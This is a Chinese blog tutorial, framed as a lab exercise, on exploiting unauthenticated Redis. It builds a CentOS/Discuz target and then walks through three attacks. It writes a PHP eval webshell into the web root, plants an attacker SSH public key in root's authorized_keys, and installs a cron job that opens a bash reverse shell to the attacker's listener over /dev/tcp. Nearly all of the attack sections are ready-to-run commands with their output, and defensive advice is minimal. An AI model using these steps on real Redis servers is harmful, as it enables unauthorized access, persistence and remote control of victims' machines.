Redis漏洞利用与SSH免密反弹Shell

2025-01-15 2 0

本篇文章将详细介绍如何通过 Redis 服务漏洞进行 WebShell 写入,利用 SSH 公钥实现免密登录,并利用计划任务反弹 Shell 的过程,尤其适用于渗透测试与靶场搭建。我们将按步骤逐一讲解每个环节的操作技巧与防御措施,以帮助安全研究人员理解并应对这些攻击手段。

靶场搭建

环境简介

centos-1 192.168.29.158
centos-2 192.168.29.165
靶场:discuz

centos-1搭建过程:

搭建discuz
首先搭建apache服务器
yum install -y httpd httpd-devel
service httpd.service start //开启apache服务
service httpd.service status //查看apache状态

Redis漏洞利用与SSH免密反弹Shell插图

yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装
service mariadb.service start //启动mariadb服务
service mariadb.service status //查看状态
netstat -an //查看端口

Redis漏洞利用与SSH免密反弹Shell插图1

安装php,将php和mysql关联起来
yum install -y php
yum -y install php-mysql
#### 将下载的discuz放到/var/www/html下

ps:网盘中的discuz没有discuz文件,只会有其他文件,所以其他在/var/www/html下创建个discuz文件夹
chown apache:apache -R upload/   //赋予所属组
chmod -R 777 upload/  //赋予可读可写可执行权限
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙

Redis漏洞利用与SSH免密反弹Shell插图2

这里都是不可写,需要修改/etc/selinux/config,修改完重启虚拟机 reboot
重启完成后开启apache服务和mariadb服务,再次访问就是可写

Redis漏洞利用与SSH免密反弹Shell插图3

vim /etc/selinux/config

Redis漏洞利用与SSH免密反弹Shell插图4

**reboot 重启**
**重启下http服务和mariadb服务**

service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙

Redis漏洞利用与SSH免密反弹Shell插图5

Redis漏洞利用与SSH免密反弹Shell插图6

数据库密码设置为空,因为我们没有设置密码  
管理员密码任意

Redis漏洞利用与SSH免密反弹Shell插图7

Redis漏洞利用与SSH免密反弹Shell插图8

redis搭建
1.下载redis包 解压进入redis目录 
2.make编译
3.然后编译完成进入/src目录 
4.将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务

报错问题解决方案

第一次执行make时候,出现以下报错,解决方案为安装gcc
make[3]: gcc:命令未找到
make[3]: *** [net.o] 错误 127
make[3]: 离开目录“/usr/local/src/redis-5.0.8/deps/hiredis”
make[2]: *** [hiredis] 错误 2
make[2]: 离开目录“/usr/local/src/redis-5.0.8/deps”
make[1]: [persist-settings] 错误 2 (忽略)
    CC adlist.o
/bin/sh: cc: 未找到命令
make[1]: *** [adlist.o] 错误 127
make[1]: 离开目录“/usr/local/src/redis-5.0.8/src”
make: *** [all] 错误 2

解决:yum -y install gcc gcc-c++

第二次执行时候,报错以下内容
zmalloc.h:50:31: 致命错误:jemalloc/jemalloc.h:没有那个文件或目录

解决方案为: make MALLOC=libc

cd到src目录下  
cd /src

Redis漏洞利用与SSH免密反弹Shell插图9

执行redis-server,出现以下界面说明搭建成功一半,另一半自己重新开一个终端,执行redis-cli ,出现第二张图示例说明搭建成功

Redis漏洞利用与SSH免密反弹Shell插图10

Redis漏洞利用与SSH免密反弹Shell插图11

centos-2搭建过程:

只需要安装下redis服务,重复以上操作即可,或者直接克隆一个即可。

利用 Redis 写入Webshell

环境简介

写入webshell,未授权访问centos-1
ps:看下centos开启redis没有,开启下服务 redis-server
redis-cli -h 192.168.29.158

Redis漏洞利用与SSH免密反弹Shell插图12

192.168.29.158:6379> config set dir /var/www/html/ 
OK
192.168.29.158:6379> config set dbfilename shell.php
OK
192.168.29.158:6379> set xxx "<?php eval($_POST[pass]);?>" 
OK
192.168.29.158:6379> save
OK
192.168.29.158:6379>

ps:在第三步的时候也可以使用

set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

访问成功写入

Redis漏洞利用与SSH免密反弹Shell插图13

Redis漏洞利用与SSH免密反弹Shell插图14

利用 Redis 写入 SSH 公钥进行登录

环境简介

kali 192.168.29.128
靶机 192.168.29.158
kali安装redis,使用上面的redis安装包,解压后直接编译就行,编译命令:make
接着将 /src 目录下的 redis-server 和 redis-cli 复制到 /usr/local/bin 下即可

Ps: 需要重新开一个终端,不然在之前开启的终端上输入: redis-cli 还是红色

首先在攻击机的/root/.ssh目录里生成ssh公钥key:
ssh-keygen -t rsa  选项全部默认即可

接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合)

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

Redis漏洞利用与SSH免密反弹Shell插图15

将key.txt文件内容写入服务端Redis的缓冲里:

cat /root/.ssh/key.txt | redis-cli -h 192.168.43.82 -x set xxx

Redis漏洞利用与SSH免密反弹Shell插图16

使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized\_keys,并将数据保存在目标服务器硬盘上

但是执行的时候,发现报错,提示内容为:
(error) ERR Changing directory: No such file or directory
意味着:没有这样的文件或目录

Redis漏洞利用与SSH免密反弹Shell插图17

原因是我centos(192.168.29.158)没有启动过ssh,所以没有那个目录,使用命令: ssh localhost 即可

Redis漏洞利用与SSH免密反弹Shell插图18
完整命令:

redis-cli -h 192.168.29.158
config set dir /root/.ssh
config set dbfilename authorized_keys
save

Redis漏洞利用与SSH免密反弹Shell插图19

ssh 成功实现公钥登录

Redis漏洞利用与SSH免密反弹Shell插图20

利用 Redis 写入计划任务反弹shell

环境简介

首先在攻击机kali上开启监听:
nc -lvp 2333

然后连接服务端的Redis,写入反弹shell的计划任务:

redis-cli -h 192.168.29.158
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.29.128/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

Ps:这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在/var/spool/cron/<username>

Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

复现过程

redis-cli -h 192.168.29.158
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.29.128/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
个人理解:这里它写的路径为 /var/spool/cron/crontabs 
要么就是创建crontabs
要么就是在这个目录下创建机会任务

但是使用 config set dir /var/spool/cron/crontabs/ 现实没有这个目录,那么就排除是创建的意思
因为在靶场上 /var/spool/cron 这个目录是默认是存在的, /var/spool/cron/crontabs默认是不存在的

Redis漏洞利用与SSH免密反弹Shell插图21
最终实操:将目录更改为 /var/spool/cron 即可

Redis漏洞利用与SSH免密反弹Shell插图22

通过计划任务,成功反弹shell

Redis漏洞利用与SSH免密反弹Shell插图23

靶机上也看到存在计划任务

Redis漏洞利用与SSH免密反弹Shell插图24

使用 crontab -r 删除计划任务
crontab -l 查看计划任务

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

RequestShield:一款HTTP请求威胁识别与检测工具
2025年十大最佳漏洞管理工具分享
LIEF:用于解析和修改 ELF, PE 和MachO 格式的跨平台库
网络安全市场的“冬天”还长
Shiro CVE-2020-1957详细分析
终端变“矿场”,挖矿病毒借破解版软件无声“开矿”

发布评论